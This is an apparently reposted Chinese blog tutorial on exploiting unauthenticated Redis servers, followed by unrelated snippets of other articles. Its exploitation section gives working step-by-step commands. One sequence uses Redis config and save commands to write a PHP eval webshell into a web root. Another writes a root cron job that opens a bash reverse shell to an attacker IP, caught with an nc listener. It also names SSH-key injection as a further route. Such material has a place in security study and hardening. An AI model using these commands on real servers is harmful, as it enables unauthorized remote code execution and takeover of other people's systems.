Redis未授权访问漏洞

Redis未授权访问漏洞

  • 一、未授权访问漏洞概述、
  • 二、Redis未授权访问特征
  • 三、Redis常用命令
  • 四、Redis历史漏洞
    • 4.1、Redis未授权访问
    • 4.2、Redis主从复制RCE
  • 五、Reids未授权访问利用
    • 5.1、写webshell
    • 5.2、写定时任务反弹shell

一、未授权访问漏洞概述、

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导致其他用户可以无需认授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

二、Redis未授权访问特征

  • 默认端口

    • Redis:6379
    • MongoDB:27017
    • Memcached:11211
    • Jboss:8080
    • Docker:2375
    • MySQL:3306
  • 端口探测:nmap端口扫描

nmap -v -Pn -p 6379 -sV 47.104.255.11
#-v:显示过程
#-Pn:no ping
#-sV:版本探测

在这里插入图片描述

  • 可以看到版本信息,可能存在未授权漏洞。

三、Redis常用命令

  • Redis简介:

Redis是一个完全开源的高性能key-value数据库。

  • Redis应用场景:

1.去最新n个数据的操作
2.排行榜,取top n个数据//最佳人气前10条
3.精确的设置过期时间
4.计数器
5.实时系统,反垃圾系统
6.pub,sub发布订阅构建实时消息系统
7.构建消息队列
8.缓存

  • Redis在互联网公司一般有以下应用:

1.String:缓存、限流、计数器、分布式锁、分布式Session
2.Hash:存储用户信息、用户主页访问量、组合查询
3.List:微博关注人时间轴列表、简单队列
4.Set:赞、踩、标签、好友关系 o
5.Zset:排行榜

# Redis常用命令redis cli -h host -p port -a password 	#redisi连接远程服务器
set testkey "Hello World"				#设置键testkey的值为字符串Hello World
get testkey								#获取键testkey的内容
set score 99							#设置键score的值为99
incr score								#使用INCR命令将score的值增加1
get score								#获取键score的内容

在这里插入图片描述

keys*							#列出当前数据库中所有的键
config set dir /home/test		#设置工作目录
config set dbfilename redis.rdb	#设置备份文件名
config get dir					#检查工作目录是否设置成功
config get dbfilename			#检查备份文件名是否设置成功
save							#进行一次备份操作
flushall						#删除所有数据(慎用)
del key							#删除键为key的数据

四、Redis历史漏洞

4.1、Redis未授权访问

因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据。

  1. 导致敏感信息泄露。
  2. 执行flushall可清空所有数据。
  3. 通过数据备份功能往磁盘写入后门文件(webshell、定时任务)。
  4. 如果Redisl以root身份运行,可以给root账户写入SSH公钥文件,免密码登录。

4.2、Redis主从复制RCE

在Reids4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redist命令,通过c语言编译并加载恶意.so文件,达到代码执行的目的。

五、Reids未授权访问利用

漏洞利用方法:

  1. 通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限。(目标主机80端口需要打开)
  2. 通过redis数据备份功能写定时任务,通过定时任务反弹Shell。
  3. 通过redis数据备份功能写SSH公钥,实现免密登录linux服务器。

下载连接程序:

wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar -zxvf redis-6.0.3.tar.gz				#解压
cd redis-6.0.3/
make										#编译
cd src/
cp redis-cli /usr/bin						#客户端连接程序
  • 连接目标主机的redis服务。
redis-cli -h 192.168.9.234.177			#连接目标主机的redis服务

在这里插入图片描述

5.1、写webshell

条件:
1.知道网站根目录绝对路径
2.对目标网站根目录有写入权限

在这里插入图片描述
在这里插入图片描述

config set dir /www/wwwroot/ThinkPHP/public	
config set dbfilename yiye.php				#创建文件yiye.php
set x "<?php @eval($_POST['cmd']);?>" 		#键x,值"<?php @eval($_POST['cmd']);?>"
save

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1、攻击机查看写入的一句话木马。

在这里插入图片描述

2、使用蚁剑进行连接。

在这里插入图片描述

在这里插入图片描述

5.2、写定时任务反弹shell

  • 若是目标主机不存在网站,可以写定时任务反弹shell。

有部分linux的定时任务目录不在/ar/spool/cron下,可能存在/Nar/spool//cron/crontabs下,我们可以在使用config set dir命令时进行判断是否存在该目录。

1、设置定时任务。

config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/192.168.8.80/7777 0>1\n\n"	
#向192.168.8.80的7777端口传递一个会话,会话的名字叫做bin/bash,192.168.8.80是攻击主机
#bin/bash:终端get xxx 	#查看键值,是否设置成功
save

在这里插入图片描述

在这里插入图片描述

2、设置监听。

nc -lvvp 7777 	#监听端口7777

在这里插入图片描述

3、获取到会话。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/26375.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C++】Lambda表达式的使用

学习目标&#xff1a; 例如&#xff1a; 了解Lambda的优点 掌握Lambda表达式的使用 了解Lambda表达式的底层原理 学习内容&#xff1a; Lambda表达式的语法 文章目录 学习目标&#xff1a;学习内容&#xff1a;Lambda表达式排序案例Lambda表达式语法捕捉列表Lambda表达式模拟…

Javascript 数据结构[入门]

作者&#xff1a;20岁爱吃必胜客&#xff08;坤制作人&#xff09;&#xff0c;近十年开发经验, 跨域学习者&#xff0c;目前于海外某世界知名高校就读计算机相关专业。荣誉&#xff1a;阿里云博客专家认证、腾讯开发者社区优质创作者&#xff0c;在CTF省赛校赛多次取得好成绩。…

3年经验,面试测试岗只会功能测试开口要求18K,令我陷入沉思。

由于朋友临时有事&#xff0c; 所以今天我代替朋友进行一次面试&#xff0c;公司需要招聘一位自动化测试工程师&#xff0c;我以很认真负责的态度完成这个过程&#xff0c; 大概近30分钟。 主要是技术面试&#xff0c; 在近30分钟内&#xff0c; 我与被面试者是以交流学习的方式…

java linq多字段排序时间比较

public static void main(String[] args) {//100万条数据List<CrmInvestSaleUserCount> waitAssignUserList new ArrayList<>();for (int i 0; i < 1000000; i) {waitAssignUserList.add(new CrmInvestSaleUserCount().setSales_username("test" i…

架构训练营学习笔记:6-2 微服务基础选型

基础选型 微服务基础设施架构 优先级 其中&#xff0c;核心 就是服务注册、服务发现、服务路由。 模式1-嵌入SDK 模式2-反向代理式 模式3-网络代理式&#xff08;Service Mesh&#xff09; 模式对比 常见微服务框架选择 嵌入SDK-dubbo Spring Cloud 反向代理式 APISIX …

小研究 - 基于 SpringBoot 微服务架构下前后端分离的 MVVM 模型(一)

本文主要以SpringBoot微服务架构为基础&#xff0c;提出了前后端分离的MVVM模型&#xff0c;并对其进行了详细的分析以及研究&#xff0c;以此为相关领域的工作人员提供一定的技术性参考。 目录 1 研究背景 2 SpringBoot微服务优势 3 微服务 3.1 技术发展 3.2 技术优势 在…

流数据湖平台Apache Paimon(五)集成 Spark 引擎

文章目录 第4章 集成 Spark 引擎4.1 环境准备4.2 Catalog4.2.1 文件系统4.2.2 Hive 4.3 DDL4.3.1 建表4.3.2 修改表 第4章 集成 Spark 引擎 4.1 环境准备 Paimon 目前支持 Spark 3.4、3.3、3.2 和 3.1。课程使用的Spark版本是3.3.1。 1&#xff09;上传并解压Spark安装包 t…

MyBatis枚举映射类讨论

前言 本篇需要对于MyBatis有一定的认识&#xff0c;而且只是针对于TypeHandler接口来讨论&#xff0c;暂不讨论其他方面的问题 TypeHandler概叙 TypeHandler是MyBatis设计的一个用于参数的接口&#xff0c;你们会不会很好奇MyBatis是如何把整形&#xff0c;时间&#xff0c;字符…

模版下载和Excel文件导入

模版下载 模版下载 模版下载 /*** 生成模版** param* return AppResponse*/public AppResponse ExcelFile() throws IOException {// 创建一个新的Excel工作簿Workbook workbook new XSSFWorkbook();// 创建一个工作表Sheet sheet workbook.createSheet("页面拨测模板&…

C++类的定义和对象的创建

一、问题引入 C类和对象到底是什么意思&#xff1f; 1、C 中的类&#xff08;Class&#xff09;可以看做C语言中结构体&#xff08;Struct&#xff09;的升级版。结构体是一种构造类型&#xff0c;可以包含若干成员变量&#xff0c;每个成员变量的类型可以不同&#xff1b; …

2023-08-06力扣今日二题

链接&#xff1a; 剑指 Offer 09. 用两个栈实现队列 题意&#xff1a; 如题 解&#xff1a; 第一个栈逆序栈&#xff0c;存储插入顺序&#xff0c;另一个栈正序栈负责弹出数据 优化思想&#xff1a;只有当st2正序栈为空时才将st1逆序栈的转移过来&#xff08;若st2不为空…

使用langchain与你自己的数据对话(五):聊天机器人

之前我已经完成了使用langchain与你自己的数据对话的前四篇博客&#xff0c;还没有阅读这四篇博客的朋友可以先阅读一下&#xff1a; 使用langchain与你自己的数据对话(一)&#xff1a;文档加载与切割使用langchain与你自己的数据对话(二)&#xff1a;向量存储与嵌入使用langc…

【探索Linux】—— 强大的命令行工具 P.2(Linux下基本指令)

前言 前面我们讲了C语言的基础知识&#xff0c;也了解了一些数据结构&#xff0c;并且讲了有关C的一些知识&#xff0c;也相信大家都掌握的不错&#xff0c;今天博主将会新开一个Linux专题&#xff0c;带领大家继续学习有关Linux的内容。今天第一篇文章博主首先带领大家了解一下…

uniapp两个单页面之间进行传参

1.单页面传参&#xff1a;A --> B url: .....?code JSON.stringify(param), 2.单页面传参B–>Auni.$emit() uni.$on()

Python爬虫——解析_jsonpath解析淘票票网站

jsonpath简单解析淘票票网站&#xff0c;获取城市名称 代码如下&#xff1a; import urllib.request import json import jsonpathurl https://dianying.taobao.com/cityAction.json?activityId&_ksTS1691330599914_108&jsoncallbackjsonp109&actioncityAction&…

使用HTTP隧道时如何应对目标网站的反爬虫监测?

在进行网络抓取时&#xff0c;我们常常会遇到目标网站对反爬虫的监测和封禁。为了规避这些风险&#xff0c;使用代理IP成为一种常见的方法。然而&#xff0c;如何应对目标网站的反爬虫监测&#xff0c;既能保证数据的稳定性&#xff0c;又能确保抓取过程的安全性呢&#xff1f;…

【学习笔记】[SDOI2017] 硬币游戏

抽象&#x1f605; 我忍不了了&#xff0c;直接上概率生成函数&#x1f605; 首先要做过这道题 [CTSC2006] 歌唱王国 设 F i ( x ) ∑ f j x j F_i(x)\sum f_jx^j Fi​(x)∑fj​xj&#xff0c;其中 f j f_j fj​表示 ∣ T ∣ j |T|j ∣T∣j时第 i i i个人获胜的概率 设 …

[CKA]考试之查看pod的cpu

由于最新的CKA考试改版&#xff0c;不允许存储书签&#xff0c;本博客致力怎么一步步从官网把答案找到&#xff0c;如何修改把题做对&#xff0c;下面开始我们的 CKA之旅 题目为&#xff1a; Task 找出标签是namecpu-loader的Pod&#xff0c;并过滤出使用CPU最高的Pod&#…

用python实现猜数字游戏

1 问题 如何来判断玩家输入的数据类型来避免报错&#xff1f; 解决&#xff1a; 使用isdigit函数来判断玩家输入的数据类型是否为数字&#xff0c;是则继续运行反之则提醒玩家输入的内容不合法。 如何限制玩家输入字符的数量&#xff1f; 解决&#xff1a;定义一个最大常量和最…

Spring Boot集成Mybatis-Plus

Spring Boot集成Mybatis-Plus 1. pom.xml导包 <!--lombok--><dependency><groupId>org.projectlombok</groupId><artifactId>lombok</artifactId></dependency><!--mysql驱动--><dependency><groupId>mysql<…